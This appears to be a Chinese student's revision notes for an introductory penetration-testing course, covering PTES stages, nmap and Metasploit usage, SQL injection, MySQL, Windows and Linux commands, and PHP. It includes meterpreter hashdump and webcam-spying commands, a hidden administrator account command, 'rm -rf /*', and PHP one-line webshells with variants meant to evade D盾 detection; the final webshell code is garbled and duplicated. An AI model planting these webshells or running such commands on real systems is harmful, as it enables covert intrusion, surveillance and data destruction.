网络安全一阶段复习
一、渗透测试PTES标准
-
前期交互
-
信息收集
-
威胁建模
-
漏洞分析利用
-
渗透攻击
-
后渗透利用
-
生成漏洞报告
前期交互
目标:与客户进行讨论,确定渗透测试范围和目标
信息收集
目的:了解目的系统开放的端口,系统版本,系统所在地的网络情况,ip地址,系统所在公司使用的防火墙情况,公司其他系统情况等信息,为渗透的实施提供尽可能多的有用信息。
- 要善用搜索引擎,比如利用佛法,奇安信的hunter等进行信息收集
- 使用nmap工具收集目标系统开放端口情况,以下是常用的nmap命令:能使用nmap扫描的前提是与目标主机能互相ping通
- nmap -sT ip地址:进行TCP连接扫描,任意被发现,且速度慢
- nmap -sU ip地址:进行UDP扫描,速度慢,但可以得到有价值的服务器程序
- nmap -sS ip地址:进行SYN扫描,不易被发现,安全,平时被使用最频繁,且速度快
- nmap -sA ip地址:检测哪些端口被屏蔽了
- nmap -sV ip地址:对端口上的服务程序版本进行扫描
- nmap -Pn ip地址:目标机禁用ping,能绕过ping扫描
- nmap -O ip地址:对目标主机的操作系统进行扫描
- nmap ip地址/地址掩码:对整个网段的主机进行扫描
威胁建模
目的:利用收集到的信息标识出系统可能存在的安全漏洞与弱点,并确定出最为高效的攻击方法,以及从哪里攻破目标系统。
- win7系统可能存在ms17-010(永恒之蓝)漏洞,与SMB协议、445端口挂钩
- XP系统可能存在ms08-067漏洞,与SMB协议、445端口挂钩
- win10系统可能存在CVE-2020-0796(永恒之黑)漏洞
漏洞分析利用
目的:分析和理解哪些攻击途径是可行的,考虑如何获取得到目标系统的访问控制权。
渗透攻击
-
在kali机器上开启msfconsole终端
-
search漏洞可以利用的模块
-
先选择辅助模块,探测目标机是否存活
-
选择攻击模块,并show options查看必须要配置的选项
-
设置必需选项,选择攻击载荷
-
正向连接的攻击载荷:band_tcp 攻击机主动向目标机发起连接
-
反向连接的攻击载荷:reverse_tcp 目标机主动向攻击机发起连接(不易被目标机防火墙发现)
-
-
run发起攻击
后渗透利用
-
进入了meterprete即代表成功攻入目标主机
-
输入help查看可以执行的命令
-
getuid:查看当前用户权限
-
hashdump:获取密码的hash值,然后使用MD5解码
-
upload 源路径 目的路径:上传文件到目标机
-
download 源路径 目的路径:下载文件的到攻击机
-
webcam_list:查看摄像头设备
-
webcam_stream:打开视频监控
-
webcam_snap:拍照
-
生成漏洞报告
目的:说清楚渗透测试的过程做了什么,如何做的,以及告诉客户发现的漏洞或者缺陷,同时给出可以修复的可行方法或者建议。
二、web安全基础
URL的组成:协议://域名(或ip):端口号/路径?参数
-
协议:http,https,其中https的实现时结合http和ssl
-
HTTP的常见请求方式:GET,POS,PUT,DELETE,TRACE,OPTIONS,HEAD
-
GET和POST的区别
- 安全性:POST比GET更加安全,GET传输的内容会成为URL的一部分,而POST的请求内容不会出现在URL中
- 数据传输大小:GET请求在URL中传输的参数长度是有限制,而POST没有,故POST可以发送更大的数据量
- 数据传输类型:POST可以发送多种类型的数据,而GET只能发送ASCII字符
- 传输速度:GET传输速度更快
- POST用于修改或者写入数据,而GET多用于获取数据
-
POST请求包的组成
- 请求行
- 请求头
- 空行
- 请求体(也叫请求数据)
SESSION和COOKIE
- 用来保存浏览器状态和身份认证的
- SESSION和COOKIE都是由服务器产生的,但SESSION保存在服务器端而COOKIE保存在客户端
- COOKIE信息可以通过浏览器设置查看,故SESSION比COOKIE更加安全
DNS和ARP
-
DNS为域名解析协议
- 端口号:53
- DNS欺骗:攻击者冒充域名服务器(即把别人请求资源的ip改为自己的ip)对其他主机进行欺诈,被骗者看到的内容以为是自己真正请求的资源,其实是攻击者设置的内容
-
ARP为地址解析协议
- 把ip地址转为MAC地址
- ARP欺骗:攻击者充当中间人,并且向目标机欺骗说自己就是网关,同时也向网关欺骗说自己就是目标机。当攻击机开启转发功能时,目标机可以正常上网
- ARP断网:攻击机伪造目标机的网关MAC地址,使得目标机以为攻击机就是网关,从而向假的网关发送网络请求,此时假的网关并不会转发请求,故目标机会出现断网情况
常见协议与端口号
端口号 | 协议 |
---|---|
21、20 | ftp |
22 | ssh |
23 | telnet |
25 | smtp |
53 | dns |
63 | whois(查询域名/ip所有者信息) |
67、66 | dhcp |
80 | http |
110 | pop3 |
143 | imap |
161、162 | snmp |
443 | https |
3389 | 远程桌面连接协议 |
1433 | SQL Server |
3306 | MySql |
1521 | Oracle |
5433 | PostgreSql |
6379 | redis |
27017 | MongoDB |
OWASP TOP10热门漏洞
三、MYSQL数据库
数据库的连接
- 命令:mysql -h 目的数据库ip -u username -p
- 回车输入密码,也可在p后面直接写上密码
- 当连接的是本地数据库时可以不写 -h及这部分参数
常用的命令
- 查看有哪些库:show databases;
- 进行表的操作前要先选择某个库:use 库名;
- 查询某个库下的所有表:show tables;
- 对结构的操作
- 改表名:alter table 表名 rename 表名
- 修改字段类型和约束条件:alter table 表名 modify 字段名 数据类型----不能修改字段名
- 修改字段名和类型:alter table 表名 change 旧字段名 新字段名 类型
- 增加表的字段:alter table 表名 add 字段名 类型
- 删除表中的字段::alter table 表名 drop 字段
- 删除表:drop table [if exists] 表名;
- 删除数据库:drop database [if exists] 库名
SQL注入
- 输入 ’ 和 ‘’ 提出不同的错误,且和sql语句有关,说明很大可能存在sql注入
- 在登录界面可以尝试使用’ or 1=1 # 进行注入
- 联合注入
- 首先使用“order by 字段的序号” 判断行数
- 然后使用union判断回显位(可以判断某个sql语句是查询几个字段和字段名):union select 1[,2,3,] ----一位位试下去
内置函数
-
截取函数
- substr(str,开始位置,截取长度),mid()和substr用法一样
- left,right判断左边右边第几位是什么:如left(str,1)可以输出左边其第一位字符
-
判断函数
- if(判断条件,v1,v2):条件成立返回v1不成立返回v2
-
编码函数
- ascii(str):返回str的ascii码
- char(数字):返回ascii对应的字符
- hex(),oct():返回十六进制和十进制
-
系统函数
- version():返回版本信息
- 返回当前数据库名
- database()
- schema()
- 查看当前用户
- user()
- current_user()
- system_user()
- session_user()
创建mysql用户并且授权
- 创建新用户:create user ‘username’ @‘%’ identified by ‘password’;
- 给用户授权:grant all privileges on * . * to ‘uername’@‘%’;
- %b表示允许任何ip地址连接到mysql服务器
四、操作系统
windows命令/DOS命令(常用)
-
whoami:查看当前用户
-
net user:查看所有用户
-
net user uername password /add:添加用户
-
net user uername$ password /add:添加隐藏用户
-
net localgroup adminstrators username /add:把用户添加到管理员组
-
net user username /del:删除用户
-
ipconfig /ipconfig -all :查看ip及网关信息
-
arp -a:查看arp表,及ip与mac地址的对应关系
-
cd 路径:切换目录
-
cd …:返回上一级目录
-
dir:查看当前文件夹内容
-
shutdown /s:关机
-
shutdown /r:重启
-
shutdown /l:注销
-
shutdown /h/f:休眠
-
shutdown /a:取消关机
-
shutdown /s/t n:n秒后关机
-
ping ip/域名:网络连通性和延迟,丢包率
- -t:一直ping
- -n 数字:ping n次
-
tracert ip/域名:路由追踪
-
ipconfig /flushdns:去除本地DNS缓存
-
tasklist:显示当前正在运行的进程
-
结束进程taskkill
- /im 程序名:按名称结束
- /pid num:按pid结束
-
start 程序名:运行程序或者命令
-
net start 服务名:启动指定服务
-
net stop 服务名:停止指定服务
Linux常见命令
-
ifconfig:查看ip地址
- -a:查看详细信息
-
sudo su:切换到管理员权限
- 回车输入密码,此时密码时不显示的
-
cd:切换目录
- 具体路径
- …/:返回上一级
- ./:当前目录
- /:返回根目录
-
pwd:查看当前路径
-
ls/ll:查看当前文件夹内容,ll则把权限也列出来
-
mkdir 目录名:在当前目录下创建一个目录
- mkdir /xx/xxx/新目录名:在指定目录下创建某个目录
-
rm 文件名:删除当前目录下的文件
- -f 文件名:删除当前目录下的文件且不询问
- -r 文件名:递归删除当前目录下的文件
- -rf 文件名:递归删除当前目录下的文件并且不询问
- -rf *:递归删除当前目录下的所有文件并且不询问
- -rf /*:递归删除根目录下的所有文件并且不询问
-
find:查找指定文件或者命令
- find /bin -name ‘a’:查找bin下所有以a开头的命令或者文件
-
文件操作
- touch 文件名:创建文件
- vi/vim 文件名:打开需要编辑的文件
- cat 文件名:查找文件内容
- chmod +r/w/x 文件名,也可以是数字r(4),w(2),x(1):给文件授权
- echo ‘内容’ >> 文件名:在文件后面追加内容
- echo ‘内容’ >文件名:直接覆盖文件内容
-
server network restart:重启网卡
-
ps :查看所有进程
- -ef:查看所有重载运行的进程
-
kill pid:根据pid杀死进程
- kill -9 pid:强制杀死进程
-
netstart -an:查看当前系统端口
- -an|grep 端口号:查看指定端口
-
ssh ip:远程连接主机
-
ctrl+l快捷键:快速清屏
五、网络基础
TCP/IP四/五层模型
-
- OSI七层模型的第一次是在物理层,其他是从上往下数的
各层常见的设备
- 物理层:交换机、路由器、集线器、中继器
- 数据链路层:网桥、交换机
- 网络层:路由器
vlan的划分根据
- 端口
- MAC地址
- 协议
- 子网
六、php
基本结构
- <?php 在这里写代码 ?>
一句话木马
-
其实就是<?php assert($_POST/_GET[‘参数’]); ?>,
- <?php eval@($_POST/_GET[‘参数’]); ?>这两句话的变形
-
php高版本以及不能使用assert构造一句话木马了,故大多数只能用eval来变形,即让查杀工具无法识别_POST[]/_GET[]即可
能绕过D盾的一句话木马变形
-
利用无效字符构成参数执行eval
-
例如:` a r r = arr= arr=_GET[‘x’];
$ab=NULL;
$r=‘’;
eval( r . r. r.ab.$arr);
//或者使用函数
function go(){
return ‘’.$_GET[‘x’].‘’;
}
eval(go()); `
-
-
利用类中的方法执行eval
-
例如:`class MyClass{
var $item;
function setItem($str){
t h i s − > i t e m = ′ ′ . this->item=''. this−>item=′′.str.‘’;
}
function go(){
eval(“$this->item”);
}
}
$run = new MyClass;
r u n − > s e t I t e m ( run->setItem( run−>setItem(_GET[‘x’]);
$run->go(); `
-
-
利用析构函数执行eval
-
例如:` class MyClass{
var $item;
function setItem($str){
t h i s − > i t e m = this->item= this−>item=str;
}
function __destruct(){
eval(“$this->item”);
}
}
$run = new MyClass;
eval(“$this->item”);
}
}
$run = new MyClass;
r u n − > s e t I t e m ( run->setItem( run−>setItem(_GET[‘x’]);
$run->go(); `
-
-
利用析构函数执行eval
-
例如:` class MyClass{
var $item;
function setItem($str){
t h i s − > i t e m = this->item= this−>item=str;
}
function __destruct(){
eval(“$this->item”);
}
}
$run = new MyClass;
r u n − > s e t I t e m ( run->setItem( run−>setItem(_GET[‘x’]); `
-